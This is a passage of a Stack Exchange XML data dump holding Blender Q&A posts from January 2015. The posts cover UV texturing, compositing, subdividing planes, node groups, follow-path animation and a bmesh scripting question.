  <row Id="23809" PostTypeId="2" ParentId="23788" CreationDate="2015-01-26T13:49:29.350" Score="1" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;OVERVIEW&lt;/em&gt;&lt;/strong&gt; You can colour each part of the rifle without separating it as a whole. To texture a mesh a popular way is to unwrap it on a UV then then colour that UV in which is your rifle flat down when colouring it in you can change the colour so blue for the grip and red for the tip etc all at once no need to seperate the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt; you need to unwrap it, you can do this in edit mode by pressing u and selecting smart UV unwrap then from the 3D veiw you can go to UV/image editor while the rifle is selected you will see rifle flat if its all bunched/overlapped then you will have to unwrap it yourself just make seems with crtl-e then select unwrap the seems will separate it and stop it from being overlapped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have your rifle unwrapped you need to place it on something so at the bottom click new and click ok this will place the unwrapped rifle on a UV. You can then add colour to it by selecting paint from the UV mode (it would say &quot;view&quot; at the bottom).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once in paint change the colour in the tool bar on the left and click on the UV to paint on it, you will see colour on your rifle in 3D view once you change your view port shading from solid to texture (the UV is a texture applied to the rifle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend you search on Youtube how to texture there are heaps of tutorials that will teach you in 5mins but I also wrote it down here.&lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2015-01-26T13:49:29.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23810" PostTypeId="1" AcceptedAnswerId="23894" CreationDate="2015-01-26T14:20:37.350" Score="1" ViewCount="309" Body="&lt;p&gt;Is anyone aware of a way to access the illumination of a face of a given object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As in, given this scene with a light source and a mesh; how much light hits any one face of that mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this might be an over-simplified question, but I just can't find anything related to this in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't expect an exact answer, just the correct terminology, or a hint on where in the docs I should be looking.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Some Context&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm not using this to render an image; I'm building a generative algorithm, and I want to make this algorithm manipulate positions of faces based on the amount of light they &quot;receive&quot;.&lt;/p&gt;&#xA;" OwnerUserId="7633" LastEditorUserId="7633" LastEditDate="2015-01-26T19:36:09.170" LastActivityDate="2015-01-27T23:21:42.763" Title="Accessing illumination of face/polygon in python API" Tags="&lt;python&gt;&lt;light&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23812" PostTypeId="1" AcceptedAnswerId="23814" CreationDate="2015-01-26T14:42:49.847" Score="3" ViewCount="1284" Body="&lt;p&gt;Sorry if this is the wrong place (I tried researching).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Could someone explain difference between post-processing and compositing in terms of animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Is it possible to animate(key frame) compositing ex. A warm feel is added for first 5 seconds(sunset) then its night (so instead of a warm feel a more cold dark feel) so I need to change the compositing throughout the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Should I instead just create the animation normally and composite it in another software.&lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2015-10-18T18:54:05.643" Title="Composting/Post processing animation" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;animation&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23814" PostTypeId="2" ParentId="23812" CreationDate="2015-01-26T14:51:40.807" Score="4" Body="&lt;p&gt;Going through each part of the question, one by one:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Post-processing and compositing are &lt;strong&gt;pretty much the same thing&lt;/strong&gt;. Post processing is generally more color oriented, and compositing is a bit more VFX oriented (keying etc. ). But for all intents and purposes in blender, they are the same thing, and done at the same time, in the same place. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, you can &lt;strong&gt;key frame&lt;/strong&gt; nearly every single &lt;strong&gt;property value in the compositor&lt;/strong&gt;, the key is just to choose the right ones when working with colors, or odd things can happen...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, you'll do the compositing/post-pro last, &lt;strong&gt;You can do it all in blender&lt;/strong&gt;, or use different software, like Adobe After effects, or the now 'free'* &lt;a href=&quot;https://www.blackmagicdesign.com/products/fusion&quot; rel=&quot;nofollow&quot;&gt;Fusion 7&lt;/a&gt;. For the color stuff (Post-Pro), you could use After Effects, Adobe Speed Grade, or &lt;a href=&quot;https://www.blackmagicdesign.com/products/davinciresolve&quot; rel=&quot;nofollow&quot;&gt;DaVinci Resolve&lt;/a&gt;. Most of this software isn't cheap, which is why I recomend doing it in blender, which for the large part, has a fully capable feature set.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;*Non commercial, with some non-key features removed, the full version costs about $1000&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-10-18T18:54:05.643" LastActivityDate="2015-10-18T18:54:05.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23816" PostTypeId="1" CreationDate="2015-01-26T15:19:30.997" Score="1" ViewCount="55" Body="&lt;p&gt;I opened Blender and continued a project I've been working on.&lt;br&gt;&#xA;I was working in layer 4, and when I went back to layer 2 it was all messed up.&#xA;I simply followed this tutorial.&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=qVwfEHtLiyI&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=qVwfEHtLiyI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;picture of layer 1&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VDGDX.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDGDX.jpg&quot; alt=&quot;screen shot of blender&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11235" LastEditorUserId="2217" LastEditDate="2015-01-26T15:27:17.943" LastActivityDate="2015-01-26T15:27:17.943" Title="Layers messed up" Tags="&lt;layers&gt;" AnswerCount="0" CommentCount="11" ClosedDate="2015-01-26T16:40:29.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="23817" PostTypeId="1" CreationDate="2015-01-26T15:23:50.987" Score="1" ViewCount="1718" Body="&lt;p&gt;i was adding some deformation to a curve i made on Blender with Zbrush, but the curve is too long, so i wanted to know if its possible to export (just the part) of the curve that i deformed, and then somehow repeat that geometry like a pattern (with geomety, not texture) alongside the Blender curve. (i can export the .obj of the already deformed part of the curve, then import it into blender)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tBm3T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-26T15:27:39.060" Title="Is it possible to repeat a geometry pattern along the lenght of a curve?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23818" PostTypeId="2" ParentId="23817" CreationDate="2015-01-26T15:27:39.060" Score="1" Body="&lt;p&gt;You need to use and array, then curve modifier. You start by adding the array, making it the length you wan't. Then add the curve modifier, and select the curve as the object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dQu6k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-01-26T15:27:39.060" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23819" PostTypeId="1" CreationDate="2015-01-26T15:41:35.210" Score="1" ViewCount="138" Body="&lt;p&gt;When I'm trying to add an image to my mirrored object I can only do it on the non mirrored side, is it possible to add the image to the whole thing?&lt;/p&gt;&#xA;" OwnerUserId="11224" LastActivityDate="2015-01-26T16:00:08.503" Title="Adding an image to a mirrored object" Tags="&lt;image&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23820" PostTypeId="2" ParentId="23819" CreationDate="2015-01-26T15:46:36.053" Score="2" Body="&lt;p&gt;You could use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Modify/UV_Project&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV Project Modifier&lt;/a&gt;, to project a texture on to your mirrored model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the UV map (without the Project Modifier) then no there is no way. You will have to &lt;a href=&quot;https://blender.stackexchange.com/a/17737/2217&quot;&gt;apply&lt;/a&gt; the mirror modifier.&lt;br&gt;&#xA;With a mirror modifier on a model, there is only half the mesh, and thus half the UVs to texture with. So anything that is one the first half, will be mirrored to the other half, including materials and textures.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-01-26T16:00:08.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23821" PostTypeId="1" AcceptedAnswerId="23822" CreationDate="2015-01-26T15:48:32.667" Score="21" ViewCount="50009" Body="&lt;p&gt;I have a plane that has a scale of &lt;code&gt;x: 100, y: 5, z: 1&lt;/code&gt;, and I want to split it into squares that have a scale of &lt;code&gt;x: 5, z: 5&lt;/code&gt;, but when I do subdivide, I get a result like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gK7Ss.jpg&quot; alt=&quot;Unwanted subdivision&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in reality, I'd rather have something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z7kgD.jpg&quot; alt=&quot;Wanted subdivision&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? &lt;em&gt;(Sorry for the badly sketched pictures.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="11236" LastEditorUserId="11236" LastEditDate="2016-03-01T13:51:22.670" LastActivityDate="2017-08-24T11:32:32.133" Title="How can I subdivide this plane into even squares?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23822" PostTypeId="2" ParentId="23821" CreationDate="2015-01-26T15:51:14.807" Score="23" Body="&lt;p&gt;Use loop cuts, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and use the scroll wheel to select how many. Hover over the edge you want the cuts to intersect, then double-click to finish the action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PhTQg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-01-26T15:51:14.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23823" PostTypeId="2" ParentId="23821" CreationDate="2015-01-26T16:24:22.367" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a plane (in object mode) &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Plane&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; in to edit mode, and scale the plane up by 5, &lt;kbd&gt;S&lt;/kbd&gt; &lt;code&gt;5&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add an array modifier, all setting at default except &lt;em&gt;Count&lt;/em&gt;, change the &lt;em&gt;Count&lt;/em&gt; to be &lt;code&gt;20&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/17737/2217&quot;&gt;Apply&lt;/a&gt; the modifier, must be in object mode to apply modifiers.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; back in to edit mode, and remove doubles with &lt;kbd&gt;W&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; or &lt;em&gt;Tool Shelf&lt;/em&gt; &gt; &lt;em&gt;Tools&lt;/em&gt; tab &gt; &lt;em&gt;Remove Doubles&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you have a perfectly sized plane evenly split in to 10 unit squares.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-01-26T16:24:22.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23824" PostTypeId="1" CreationDate="2015-01-26T16:29:56.960" Score="1" ViewCount="394" Body="&lt;p&gt;Hi i'd like to ask if i can delete all the faces and vertices from in side my model, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my model, it looks fine, but there's problems, like some parts of it have two faces so it sort of glitches. (near the back of the foot)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EkQ1r.png&quot; alt=&quot;My model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, i used ALT + E to extrude individual faces, that made all of inside of it just horrible, and i want that the whole model to be hollow in the inside, like so&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a cube&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SIPSQ.png&quot; alt=&quot;Cube inside&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this, is inside of my model,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6cBZH.png&quot; alt=&quot;My model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, can i delete all this messy blocks inside of it without any noticeable changes on the outside? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i'm sort of new to blender so please tell me what you mean and how i would do it. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="11237" LastActivityDate="2015-01-26T17:16:58.187" Title="Deleting the insides of model/ hollowing it" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="2" ClosedDate="2015-01-26T17:49:21.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="23825" PostTypeId="1" AcceptedAnswerId="23827" CreationDate="2015-01-26T17:03:18.397" Score="0" ViewCount="846" Body="&lt;p&gt;i'm duplicating an object with Array but the object itself has a lot of geometry, so my computer slows down a lot, is there any solution to this, like adding more ''copies'' as instances?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in regard.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-26T17:12:01.400" Title="Is there any way to use instances using Array modifier?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ClosedDate="2015-01-26T17:14:38.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="23826" PostTypeId="2" ParentId="23824" CreationDate="2015-01-26T17:11:31.217" Score="2" Body="&lt;p&gt;You can use the &lt;em&gt;Select Inner Faces&lt;/em&gt; operator,  and then delete then. To do this, in 3D view space, go to the header, then &lt;em&gt;Select&lt;/em&gt;, then &lt;em&gt;Interior Faces&lt;/em&gt;. Then you can press &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;em&gt;Vertices&lt;/em&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2015-01-26T17:16:58.187" LastActivityDate="2015-01-26T17:16:58.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23827" PostTypeId="2" ParentId="23825" CreationDate="2015-01-26T17:12:01.400" Score="1" Body="&lt;p&gt;Try using a &lt;strong&gt;&lt;em&gt;Simplify&lt;/em&gt;&lt;/strong&gt; option. Check the &lt;em&gt;Simplify&lt;/em&gt; box in &lt;em&gt;Scene header&lt;/em&gt; and reduce the subdivisions to 2, 1 or 0. It may help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zJrgR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-01-26T17:12:01.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23830" PostTypeId="1" AcceptedAnswerId="23831" CreationDate="2015-01-26T18:24:52.733" Score="4" ViewCount="1287" Body="&lt;p&gt;Is there any option to show the wireframe while i preview the geometry on solid mode?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="599" LastEditDate="2015-01-26T18:28:32.047" LastActivityDate="2015-01-26T18:28:32.047" Title="How can i activate the wireframe on preview while in solid mode?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23831" PostTypeId="2" ParentId="23830" CreationDate="2015-01-26T18:26:25.407" Score="5" Body="&lt;p&gt;Yes, you can enable &lt;em&gt;Wire&lt;/em&gt; in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A3hbK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-26T18:26:25.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23832" PostTypeId="1" AcceptedAnswerId="23833" CreationDate="2015-01-26T20:16:27.307" Score="38" ViewCount="21620" Body="&lt;p&gt;I selected a bunch of nodes that I wasn't using and that weren't connected and thought that I would see if I could group them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, Blender let me group them alright, but now there is a green background over the rest of my nodes and I cannot select any of them anymore. I deleted the nodes in the group because I couldn't figure out how to &quot;ungroup&quot; them and undo would not undo the grouping operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any idea how I can get things back to normal or do I need to start all over again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oCI7j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-01-27T05:35:01.957" LastActivityDate="2021-04-04T23:20:44.853" Title="How do I exit a node group?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;node-editor&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23833" PostTypeId="2" ParentId="23832" CreationDate="2015-01-26T20:19:04.053" Score="45" Body="&lt;p&gt;You can press &lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt; to switch in and out of a node group, or you can press the arrow button in the header to go to the parent node tree:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OXARk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ungroup nodes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to the parent node tree&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the group node&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-01-26T20:27:36.287" LastActivityDate="2015-01-26T20:27:36.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23834" PostTypeId="1" AcceptedAnswerId="23843" CreationDate="2015-01-26T20:30:41.727" Score="2" ViewCount="430" Body="&lt;p&gt;I'm trying to access to new vertices after apply  bmesh.ops.bisect_edges&lt;/p&gt;&#xA;&#xA;&lt;p&gt;API say that newly created vertices and edges will be in geom_split.  I can print&quot;geom_split&quot; data, but I can't access to new vertices, only I can see the information in console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here code... thanks for any help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import mathutils&#xA;import math&#xA;&#xA;&#xA;obj = bpy.context.object&#xA;me = obj.data&#xA;bm = bmesh.from_edit_mesh(me)&#xA;&#xA;edges= [e for e in bm.edges if (e.select==True and not e.hide)]&#xA;&#xA;&#xA;if len(edges) &amp;lt; 2:&#xA;    print(&quot;please select minimun 2 edges&quot;)&#xA;else:&#xA;&#xA;    newmesh = bmesh.ops.bisect_edges(bm, edges=edges, cuts=5) #for example 5 cuts&#xA;&#xA;    bpy.ops.mesh.select_mode(use_extend=False, use_expand=False, type='VERT')&#xA;    print(newmesh['geom_split'])&#xA;&#xA;&#xA;&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11077" LastActivityDate="2015-01-27T02:09:44.233" Title="how access to new vertices after bmesh.ops.bisect_edges?" Tags="&lt;scripting&gt;&lt;add-on&gt;&lt;vertices&gt;&lt;edges&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23835" PostTypeId="1" CreationDate="2015-01-26T20:48:26.460" Score="5" ViewCount="3935" Body="&lt;p&gt;I made a follow path constrait with a curve, does it already have a linear interpolation so i can edit it on graph editor? i need the linear interpolation.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-26T22:45:52.123" Title="How can i edit a follow path constraint with the graph editor?" Tags="&lt;bezier-curves&gt;&lt;constraints&gt;&lt;keyframes&gt;&lt;path&gt;&lt;graph-editor&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23836" PostTypeId="1" AcceptedAnswerId="28493" CreationDate="2015-01-26T20:57:33.817" Score="7" ViewCount="298" Body="&lt;p&gt;I regularly use the handy Render Regions feature of Blender, but I have noticed that no matter what mode you are in before entering &lt;em&gt;Render&lt;/em&gt; mode, the background mode for the parts of the scene outside the lines is always solid. I want to know if there is a way to change that to &lt;em&gt;Textured&lt;/em&gt; mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of what I mean. I am in &lt;em&gt;Texture&lt;/em&gt; mode, with a render region set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U4SgA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I enter rendered mode the plane on the right loses it's texture, and is now completely solid, obviously being displayed in &lt;em&gt;Solid&lt;/em&gt; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4KZet.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change this behavior? And if not, what workarounds are there?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-15T01:30:38.367" Title="How can I change the Render Regions background display mode?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23837" PostTypeId="2" ParentId="23836" CreationDate="2015-01-26T22:17:56.097" Score="-3" Body="&lt;p&gt;This is what the API says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use_render_border:&#xA;Use a region within the frame size for rendered viewport (when not viewing through the camera)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When using this you only see the &quot;render&quot; image inside the &lt;code&gt;render_border&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that it is impossible to do what you are asking, as the RNA automatically changes the viewport display mode outside of the &lt;code&gt;render_border&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11077" LastEditorUserId="6204" LastEditDate="2015-01-26T23:48:05.747" LastActivityDate="2015-01-26T23:48:05.747" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23838" PostTypeId="2" ParentId="23835" CreationDate="2015-01-26T22:22:00.280" Score="6" Body="&lt;p&gt;If you select the curve, you should be able to animate the evaluation time, in the graph editor =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1yU6r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastActivityDate="2015-01-26T22:22:00.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23839" PostTypeId="2" ParentId="23835" CreationDate="2015-01-26T22:28:19.830" Score="7" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9gnaW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use a follow path constraint the movement and select &lt;strong&gt;Animate Path&lt;/strong&gt;, there are no keyframes, the movement is determined by a couple of parameters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1-The number of &lt;strong&gt;Frames&lt;/strong&gt; on the path animation and &lt;strong&gt;Evaluation Time&lt;/strong&gt; of the curve the object is parented to. The default is to move the object through the complete length of the path in 100 frames. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jLUMB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- A &lt;strong&gt;Generator Modifier&lt;/strong&gt; in in the evaluation time that can be displayed the Graph Editor. The movement starting at 0 and increasing linerarly one unit in X (time) and one unit in (Evaluation time value)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nlk0H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to determine the speed at which the object will travel through the path there are two options: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A.- Change the number of frames on the curves path animation parameter. Less frames will make the object travel faster across the path. More frames will make it go slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nBUE4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B.- Altering the slope of the curve on the generator. A steeper line will make the movement faster, a flatter will slow it down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FfTU7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-26T22:28:19.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23840" PostTypeId="2" ParentId="23835" CreationDate="2015-01-26T22:45:52.123" Score="5" Body="&lt;p&gt;If you use the Follow Path constraint but &lt;strong&gt;do not&lt;/strong&gt; activate the Animate Path option. You can move your object using the &lt;strong&gt;Offset&lt;/strong&gt; value, note that depending on your path's direction you might need negative values. That will create keyframes for the object's movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Llq7s.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then on the Graph Editor you can set the interpolation you want by pressing &lt;kbd&gt;T&lt;/kbd&gt; (or Key-&gt;Interpolation Type) and selecting Linear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PyieU.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-26T22:45:52.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23841" PostTypeId="2" ParentId="23417" CreationDate="2015-01-26T23:11:49.580" Score="6" Body="&lt;p&gt;Since blender 2.67 you can write a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.67/Python_Nodes&quot; rel=&quot;noreferrer&quot;&gt;custom pynode&lt;/a&gt; or use &lt;a href=&quot;https://github.com/JacquesLucke/animation-nodes&quot; rel=&quot;noreferrer&quot;&gt;Animation Nodes&lt;/a&gt; as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9zcG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wCzXb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Enable cycles first to access the color of the diffuse shader and use the expression node to get correct color values bellow 1.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-01-27T10:43:05.797" LastActivityDate="2015-01-27T10:43:05.797" 